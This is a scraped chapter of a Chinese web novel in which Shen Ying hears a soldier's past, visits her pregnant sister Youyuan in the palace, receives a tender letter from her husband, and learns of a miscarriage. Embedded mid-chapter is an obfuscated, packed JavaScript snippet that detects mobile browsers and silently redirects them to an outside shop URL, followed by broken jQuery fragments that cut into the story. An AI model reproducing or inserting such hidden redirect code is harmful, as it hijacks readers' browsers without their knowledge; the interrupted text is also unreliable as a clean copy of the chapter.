文趣网 > 都市小说 > 与冷面摄政王互相热演中 > 32. 情丝绕
    表面冷冰冰的人其实很好相处。

    这是沈缨最近悟出来的道理。

    秦霜寡言少语,看起来高冷,但相处久了,会发现她是个耳根子很软的人。

    沈缨把对付裴云峥和墨竹那一套软磨硬泡用在她身上,十分奏效。

    沈缨又一次练武走神时,秦霜没有再上手纠正。

    “若是累了可以歇息。”秦霜靠在梅花桩上,将她的动作尽收眼底,“你这样心不在焉的,也练不成什么名堂来。”

    沈缨被说得羞愧,她也不想这样,可脑子里的想法像断了线的风筝,稍有不慎就飞到了天际外。

    秦霜走过来,递给她一个水囊:“你在想什么?靖王?”

    沈缨点点头。

    裴云峥将近半个月没回府了,往常他再忙碌,也不会在外面待这么长时间,所以这次的事应该很棘手,连他也不好处理。

    她心里隐隐有些担心。

    “放宽心。”秦霜看出来她的忧虑,难得安慰几句,“自我认识他以来,还没什么他解决不了的事。”

    “前辈与他认识很久了吗?”沈缨压下那股担忧,转而问道。

    秦霜认真想了一下:“算是吧,应该有八年了。”

    “他那时性格如何?”

    “你们都是夫妻了,他自己没跟你说过?”秦霜诧异地瞥她一眼。

    沈缨:她不好意思问啊。

    “他年轻时可跟如今大不相同,自傲得没边,我刚参军时便听闻这位主将有多厉害,但我觉得那都是旁人在吹捧。”秦霜回忆道,“那时我也年轻气盛,特别想找机会跟他打一架。”

    可没等到切磋的机会,敌人倒是先等来了。

    秦霜主动请缨当前锋,他们打得敌人节节败退,她初次作战便一腔热血上了头,不顾撤退的命令,乘胜追击冲进了敌营里,想要取下敌方将领的首级。

    可对方似乎算准了她会跟上来,她落入了圈套,眼看就要葬身在此……

    “这时,只见滚滚硝烟间,一个银袍小将身骑骏马而来,如同神兵天降,手执一杆银枪将敌人打得落花流水。”

    沈缨听得一愣一愣的:“所以,是王爷救了你?”

    “不是,那人姓谢,叫谢荣安,是军中的一名副将。”

    “哦。”沈缨点头,随即又猛地歪头看向她,“不对,这跟王爷有什么关系?”

    “怎么没关系?他也是靖王的下属兼发小。”秦霜见她如鲠在喉的模样,眸中闪过笑意,“其实我不太会讲故事,你看,说着说着就跑偏了。”

    沈缨沉默。

    何止是跑偏,完全就不是一回事。

    “所以关于他的事,你还是等他回来,让他自己讲给你听。”秦霜站起身,“今日给你放假,明早见。”

    沈缨望着她潇洒离去的背影,头一次体会到被捉弄的感觉。

    她对这类人的判断又多了一条——表面高冷,实则蔫坏。

    回府后,她往宫中递了拜贴,打算去看看幼沅。

    王府自从少了她们,总让人感到冷冷清清的。

    幼沅养胎期间,裴景桓下令让她少出门,所以她几乎都没怎么踏出过常宁宫的门,整个人愈发郁郁寡欢。

    沈缨一进屋子,还以为自己走错地方了,药味儿浓得呛人。

    “姐姐!”幼沅一看见她,眼睛瞬间亮起来,拉着她坐下,“你可算来看我了。”

    “抱歉,最近事情有些多。”沈缨有些愧疚。

    “姐姐不用跟我解释这些,我都明白,你进宫一趟也不容易。”

    裴云峥与裴景桓叔侄之间势同水火,她们本就身份特殊,若走得太近难免会落下什么把柄。

    见她变得如此乖巧懂事,沈缨很是心疼,摸了摸她瘦得尖尖的脸颊:“怎么瘦了这么多?宫里的膳食不合胃口吗?”

    “没有。”幼沅扯出笑容,不想让她担心,“我如今有了孩子,一个人吃,两个人补,当然会瘦些,待孩子生下来便没事了。”

    沈缨见她强颜欢笑的模样,也不忍心去戳破。

    “你看我给你带了什么?”她进门时就提着一个食盒,打开盖子,是一碟酥脆的蝴蝶卷,看着十分诱人,“你最爱吃这个,所以我来之前特意做了一碟,你快尝尝。”

    “好。”幼沅拿起一块咬了一口,是记忆中熟悉的味道,可她却怎么也咽不下去。

    眼泪毫无征兆地滚落,她哭得上气不接下气。

    “姐姐,我好想你,也好想我娘。”

    “我想回家。”

    沈缨知道她的难过委屈,将她搂紧怀里,手拍在她背上,却不知如何安慰。

    再多言语都是苍白无力的。

    她紧紧只能抱着她,任由泪水浸透了衣衫,那令人揪心的哭声才渐渐停止。

    沈缨掏出帕子,轻柔地拭去她脸上的泪。

    “乖,现在还难受吗?”

    幼沅摇了摇头,发泄一通后,她心里轻松多了。

    “你受了什么委屈,一定要跟我说,不要自己憋在心里。”沈缨在她耳边轻声道,“若你真的待不下去了,我来想办法,带你离开这个鬼地方。”

    听她这么说,幼沅疯狂摇头:“不行,我知道这样做有多大的风险,我不能让你为难。”

    “傻丫头,我们走过的这些路,哪一步不为难?”沈缨替她整理蹭乱的头发,“从前我也怕为难别人,所以吃了很多苦,如今才明白人其实没必要处处顾虑,有时候自私一点也是可以的。”

    幼沅被这句话说得动摇,却仍是犹豫:“可是……”

    “别可是了。”沈缨对她笑了笑,“我只是随便一说,你听听就好,不必太放在心上。总之你要记得,我是你的姐姐,你解决不了的事,我会帮你,记住了没?”

    幼沅重重点了一下头:“嗯。”

    见她已不再伤心,沈缨才问道:“姝月呢?她不是进宫照顾你,怎么不见她人?”

    “姝月姐姐去熬药了,她说宫中人多,保不齐谁存有什么害人心思,我喝的安胎药她得亲自盯着才放心。”

    “她说的对。”沈缨颇为赞同,“姝月为人谨慎,有她在你身边,我放心得多。”

    两人又说了一会儿话,姝月端着熬好的药进来,看见沈缨打了个招呼:“你来了。”

    沈缨笑道:“我们刚还在说你呢,快过来坐。”

    “说我什么?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683296|202861||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姝月在凳子上坐下,顺手将药碗递给幼沅,幼沅一看见乌黑的药汁脸就皱成一团。

    “趁热喝,等会儿凉了更苦。”见她不情愿,姝月无奈叹气,看向沈缨,“她平日里还听话,我看你一来她的脾气又开始作怪了。”

    见状,沈缨帮她劝幼沅:“快喝吧,若是觉得苦,正好有蝴蝶卷可以配着吃。”

    在她的半哄半劝中,幼沅才一口气喝完了药,放下碗立刻吐舌头:“苦死了。”

    沈缨立刻拿起一个蝴蝶卷递到她唇边:“张嘴,吃完就不苦了。”

    姝月看向桌上那一碟蝴蝶卷:“你亲手做的?”

    “嗯,你要尝尝吗?”

    姝月眸光闪了闪,收回视线:“算了吧,我才不跟她抢吃的,否则她又要闹。”

    “胡说,我哪有那么小气!”幼沅抗议道。

    “是,你不小气,姝月姐姐跟你开玩笑呢。”

    姝月听着两人的欢笑声,默默端起空碗,走出房间。

    她站在厨房里收拾陶罐,却忽然停下来,目光凝视着罐子里的药渣。

    “姝月姐姐,要帮忙吗?”身后进来一个小宫女,好心问道。

    “不用了,我自己来。”姝月回过神,将药渣倒进泔水桶。

    暮色四合,沈缨乘马车回府。

    “王妃,王爷寄来了一封信!”青松响亮的声音在院子里响起。

    沈缨顾不得坐下,一颗心雀跃起来,脚步匆匆走出门:“王爷何时寄来的?”

    “就在方才,驿使刚送来,我就赶紧拿来给您了。”

    沈缨接过薄薄的信封,面上一派淡定:“好,你受累了,回去吧。”

    待青松离开,她回房间关上门,便迫不及待拆开了信。

    是裴云峥的字迹,只不过要比平常潦草许多。

    信的内容不长,先是简单交代了他最近在忙碌,又客气问候了府中事务。

    只有最后一段话才是对她说的。

    “卿卿吾妻,离府半月,诸事纷扰,唯夜深时想起家中灯火,心若牵丝,绕我魂神,夜里巡营时见星河垂野,玉轮皎洁,不知你亦可见否?归期在即,盼与你分得半片月色。”

    沈缨对着那两行字来回读了一遍又一遍,嘴角的笑怎么也压不下去。

    她在床榻躺下,将信纸蒙在脸上,眼前一片朦胧,烛光与月光交织在一起,渐渐变成裴云峥的脸。

    沈缨捂住胸口,在床上滚了一圈,可心还是不受控制地乱跳。

    都怪裴云峥。

    她在心里埋怨他,写家书还要用词这么缠绵悱恻,害得她胡思乱想。

    想着想着,她竟就这么睡着了。

    次日早晨醒来时,那张信纸搁在枕边,被她压得有些皱。

    沈缨小心翼翼地将信纸拿起来捋展,然后收进柜子最里层。

    拉开门,才发现昨夜落了雨,檐下雨水滴滴答答,院中满是落叶与花瓣。

    青松远远跑过来,与昨日一样快,只是脸上明显带着焦急的神色。

    “王妃,出事了!”他的话犹如一记重锤,“宫中传来消息,沅美人流产了!”

    沈缨僵在原地,顷刻间浑身血液倒流。